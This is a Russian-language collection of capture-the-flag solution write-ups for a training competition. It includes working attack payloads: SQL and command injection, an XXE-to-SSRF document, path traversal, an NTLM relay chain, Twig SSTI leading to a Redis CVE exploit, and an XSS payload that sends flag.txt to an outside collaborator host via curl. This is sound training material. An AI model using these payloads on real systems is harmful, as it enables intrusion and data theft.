Инженерный тур. 1 этап

Для решения задачи требуется понять, что в поиске на сайте имеется SQL Injection (например, путем указания символа ' и изучения сообщения об ошибке), а затем проэксплуатировать SQL Injection и прочитать флаг из базы, например, с помощью sqlmap.

Необходимо найти порт 13337 на сервере с помощью сканирования (например, с помощью nmap), определить, что на нем работает uftpd версии 2.7.0 (прочитав баннер сервиса), и найти эксплойт для этой версии на https://www.exploit-db.com/.

Для входа нужно использовать анонимную аутентификацию.

Прочитать флаг можно, открыв любой порт на прослушивание (например, 36759 на предоставленном участникам сервере 147.45.163.48) и отправив запрос на сервер:

PORT 147,45,163,48,1,36503

RETR ../../../../flag.txt

Для решения задания необходимо подключиться к серверу через SSH.

После, изучив вывод команды sudo -l, необходимо просмотреть содержание скрипта /usr/local/bin/write_to_logs.sh и обнаружить, что в скрипте есть уязвимость Path Traversal.

Далее, изучая систему, можно наткнуться на скрипт /usr/local/bin/cron_script.sh, и, судя по названию файла, необходимо найти правило в планировщике задач, которое будет запускать этот скрипт. Само правило находится по пути /etc/cron.d/cron_script.

Зная все вводные, напишем скрипт в директорию /home/admin/scripts с названием, начинающимся на logs (такое условие в cron_script.sh):

sudo -u admin /usr/local/bin/write_to_logs.sh ../../../../../../../../../home/admin/.scripts/logs_1.sh '\#!/bin/bash
cat /root/flag > /tmp/flag'

Спустя 1 мин в директории /tmp появится наш flag.

Изучив веб-сайт компании, выясним, что там ничего интересного.

Попробуем пробрутить поддомены.

ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.j3li7fnp0j3t0z4q2j4s.labs.cyber-ed.space

ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.j3li7fnp0j3t0z4q2j4s.labs.cyber-ed.space

Обнаружим, что помимо исходного поддомена site, еще имеется поддомен exchange.j3li7fnp0j3t0z4q2j4s.labs.cyber-ed.space.

Функционал сервиса похож на регистрацию через XML. Вводим свои тестовые данные и загружаем xml-файл.

Сервис предоставляет возможность самостоятельно предоставить .xml-файл для обработки. Используя скачанный xml-файл как образец, попробуем проэксплуатировать XXE.

Ура! У нас получилось!

Немного поизучав систему и прочитав файл /etc/hosts, обнаруживаем во внутренней сети какой-то sharepoint.corp.local.

Теперь попробуем провести SSRF через XXE. С помощью Burp Intruder подбираем подходящее доменное имя во внутренней сети веб-приложения (sharepoint).

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://sharepoint" >
]>
<people>
  <person>
    <name>age</name>
    <surname>&xxe;</surname>
    <age>3</age>
    <telephone>age</telephone>
  </person>
</people>

Получаем в ответе флаг.

Для решения задачи нужно в поле IP Address вбить строку 1.2.3.4; cat /flag.txt, что приведет к Command Injection в сервисе.

dig -x 1.2.3.4; cat /flag.txt

Это позволяет получить флаг.

Скрипт запишет флаг в таблицу contacts БД people на SRV-SQL.

Команды для выполнения задания:

#1.
python3 PetitPotam.py <kali_ip> 192.168.100.1
#2.
python3 ntlmrelayx.py -socks -t mssql://192.168.100.20
#3.
proxychains -q python3 mssqlclient.py -no-pass -windows-auth CONTOSO/DC01\$@192.168.100.20

Используя уязвимость Path traversal, читаем файлы:

/documents/download?file=....//....//....//....//....//....//.... //etc/passwd

Читаем исходный код приложения:

/documents/download?file=....//app.py

Находим там import app, читаем файл приложения:

/documents/download?file=....//app/__init__.py

В нем видим использование модуля app.auth.routes, читаем его:

/documents/download?file=....//app/auth/routes.py

Там видим файл моделей app.auth.models, читаем его:

/documents/download?file=....//app/auth/models.py

Читаем код и находим ошибку проверки пароля.

Обходим авторизацию:

username=a%25&password=.*&login=

Читаем информацию о пользователе платформы с полученными cookies: /profile и получаем флаг.

1. Посетив ссылку на таск, можно увидеть борду (рис. 1.7), с которой запускается персональный экземпляр таска. В этой же борде, если есть какие-то проблемы, можно остановить свой таск и запустить его заново.

   
   Рис. 1.7.

2. После запуска таска сгенерируется персональный docker-контейнер и перекинет пользователя на его главную страницу.

   
   Рис. 1.8.

3. Из описания ясно, что, помимо веба, на N-порту есть еще служба SSH на N+1 порту.

   
   Рис. 1.9.

   Это пригодится позже при Pivoting’е.

4. Если же на главной веб-странице что-то написать в форме и ее отправить, отправится POST-запрос по маршруту /cutezator.php, в ответ на который вернется страничка, содержащая наш ввод + милый комплимент :3.

   
   Рис. 1.10.

5. Далее следует проэксплуатировать SSTI-уязвимость.

   
   Рис. 1.11.
   
   Рис. 1.12.

6. Поскольку существуют намеки на SSTI , а кроме того, используется расширение .php, то, вероятно, применяется движок Twig, с помощью которого можно получить RCE.

   
   Рис. 1.13.
   
   Рис. 1.14.
   
   Рис. 1.15.

7. Разберем, с чем имеем дело.

   Пользовательь — nobody, то есть через него нельзя подключиться под SSH.

   
   Рис. 1.16.

   Изначально находимся в директории /var/www/html.

   
   Рис. 1.17.

   В этой директории нет никаких интересных файлов, кроме entrypoint.sh и healthcheck.sh, которые нельзя прочитать или использовать для записи.

   
   Рис. 1.18.

   В директории /home есть папка vivek, это наталкивает на мысль, что есть потенциальный пользователь, через которого можно сидеть на SSH.

   
   Рис. 1.19.

   Посмотрим, что у него есть в директории.

   
   Рис. 1.20.

   У него есть файл .bash_history, в котором раскрывается пароль пользователя vivek.

   
   Рис. 1.21.

   И есть файл-обманка, который намекает, что в сети есть хост с последним октетом 20, и дается какая-то строка, которую стоит запомнить.

   
   Рис. 1.22.

   Посмотрев свою сеть, в данном случае сеть с третим октетом 1, можно прийти к мысли о том, чтобы просканировать хост 10.0.1.20.

   
   Рис. 1.23.

8. Собрав всю нужную информацию, можно пойти двумя путями:

   1. использовать reverseshell;
   2. пивотиться через SSH.

   Данный райтап будет рассматривать второй вариант.

9. Для пивотинга через SSH Dynamic Port Forwarding нужно ввести команду:

   ssh vivek@<хост с таском> -p <SSH-порт> -D <локальный порт>

   Таким образом подключаемся по SSH к контейнеру с таском через пользователя vivek, и теперь локальный порт, в случае на рис. 1.24 \(4444\), будет прокидывать весь трафик через SSH.

   
   Рис. 1.24.

10. Немного изменяем файл с конфигурацией proxychains, чтобы весь трафик отправлять на локальный порт \(4444\), который потом пойдет через SSH.

    
    Рис. 1.25.

11. Проверяем, что все работает корректно.

    
    Рис. 1.26.

12. Теперь с помощью SSH-пивотинга можем просканировать тот загадочный хост (главное не забыть флаг -sT).

    
    Рис. 1.27.

13. Узнаем, что на ней открыта служба redis.

    
    Рис. 1.28.

14. Подключаемся к redis и используем пароль из файла /home/vivek/flag.txt, чтобы аутентифицироваться.

    
    Рис. 1.29.

15. Походив по redis и не обнаружив ничего интересного, выводим всю информацию о redis, из которой узнаем, что используется redis версии 5.0.7.

    
    Рис. 1.30.

16. Загуглив redis 5.0.7 cve, узнаем, что существует CVE-2022-0543.

    
    Рис. 1.31.

17. С помощью данной CVE можем выполнять произвольные Lua-скрипты для выполнения системных команд на хосте.

    
    Рис. 1.32.

18. Проверяем PoC.

    
    Рис. 1.33.

19. Немного модернизируем PoC для чтения файла /root/flag.txt и получаем флаг!

    
    Рис. 1.34.

1. Посетив таск, можно увидеть страницу с функцией поиска и обратной связи.

   
   Рис. 1.35.

2. Если в поиск вставить XSS-payload и отправить запрос, от имени браузера отправится GET-запрос по маршруту

           /api/find-product?product=<XSS payload>

   В ответ приложение вернет страницу, в которую напрямую подставляется наш ввод, из-за чего существует уязвимость Reflected XSS.

           Payload: <img src=x onerror=alert(1)>

   
   Рис. 1.36.
   
   Рис. 1.37.

3. В функции обратной связи можно увидеть специальную форму, используя которую, можно отправить HTTP-запросы от лица бота на любой маршрут.

   
   Рис. 1.38.

4. В качестве подтверждения теории можно использовать нагрузку типа <img src="https://collaborator">. Достаточно ее протестировать на себе, скопировать URL-часть, начиная с api, и отдать боту. После этого подождать отстук на коллаборатор (в качестве коллаборатора можно использовать любой публичный ресурс, например, https://public.requestbin.com/r/).

   
   Рис. 1.39.
   
   Рис. 1.40.
   
   Рис. 1.41.

5. После того как изучена вся «видимая» часть таска, можно посмотреть в код из архива files.zip.

   В файле server.py можно увидеть маршрут /api/test-connection, принимающий GET-параметр address, чье значение попадает в функцию subprocess.getoutput(). Данная функция может использоваться для эксплуатации RCE. Однако в 37-й строчке можно увидеть проверку на наличие специального cookie: secret, значение которого неизвестно, из-за чего самостоятельно проэксплуатировать RCE нельзя.

   
   Рис. 1.42.

6. В файле admin_bot.js, который отвечает за работу бота, можно увидеть на 39-й строчке, что боту выдается как раз эта cookie secret.

   
   Рис. 1.43.

   Однако у cookie стоит флаг HttpOnly, из-за чего напрямую украсть ее нельзя. Но можно, используя бота, все равно обратиться к маршруту с RCE и исполнить произвольную системную команду.

7. В качестве примера можно обратиться к данному маршруту от лица бота и передать в GET-параметре address collaborator домен, на который должен отправиться DNS-запрос из-за команды nslookup.

   Полезная нагрузка в сыром виде:

           <script>fetch('http://<адрес приложения>/api/test-connection?address=collaborator') </script>

   Полезная нагрузка для бота в URL-кодировке:

           api/find-product?product=<script>fetch%28%27http%3A%2F%2F <адрес приложения>%2Fapi%2Ftest-connection%3Faddress%3 Dcollaborator%27%29<%2Fscript>

   
   Рис. 1.44.
   
   Рис. 1.45.

8. И если немного доработать полезную нагрузку, то можно извлечь содержимое файла flag.txt:

           <script>fetch('http://<адрес приложения>/api/test-connection?address=; curl -d @flag.txt https://collaborator')</script>

   После чего на коллаборатор придет флаг.

• Открыть дамп трафика в wireshark.
• Добавить фильтр telnet.
• Найти пароли, передаваемые в открытом виде.
• Подключиться к обнаруженному хосту с полученными кредами.
• Выполнить команду cat flag.

Разбираемся со схемой Шамира (например, с помощью статьи по теме: https://habr.com/ru/articles/431392/).

Разделение секрета выполнено только для двух человек, поэтому используется прямая линия в качестве кривой.

Используя отсутствие модулярной арифметики, а также ограничения на коэффициенты (целые, положительные) и малый размер точки, перебираем секрет.

Перебор можно упростить, так как в секрете должен быть заголовок от ssh ключа

-----BEGIN OPENSSH PRIVATE KEY-----

Для решения необходимо найти в логах следы SQLi. При неправильном символе — выдается код ответа 500:

2024-07-20 13:53:43,065 - 32.102.121.254 - - [20/Jul/2024 13:53:43] "GET /?user=3232' and (select substr(flag,1,1) from flag)='w' -- HTTP/1.1" 500 -

Код 200 означает правильный символ:

2024-07-20 13:54:08,065 - 32.102.121.254 - - [20/Jul/2024 13:54:08] "GET /?user=3232' and (select substr(flag,1,1) from flag)='6' -- HTTP/1.1" 200 -

Исходя из этих данных, можно найти все ответы 200, определить все символы флага, соединить их и получить флаг в исходном виде.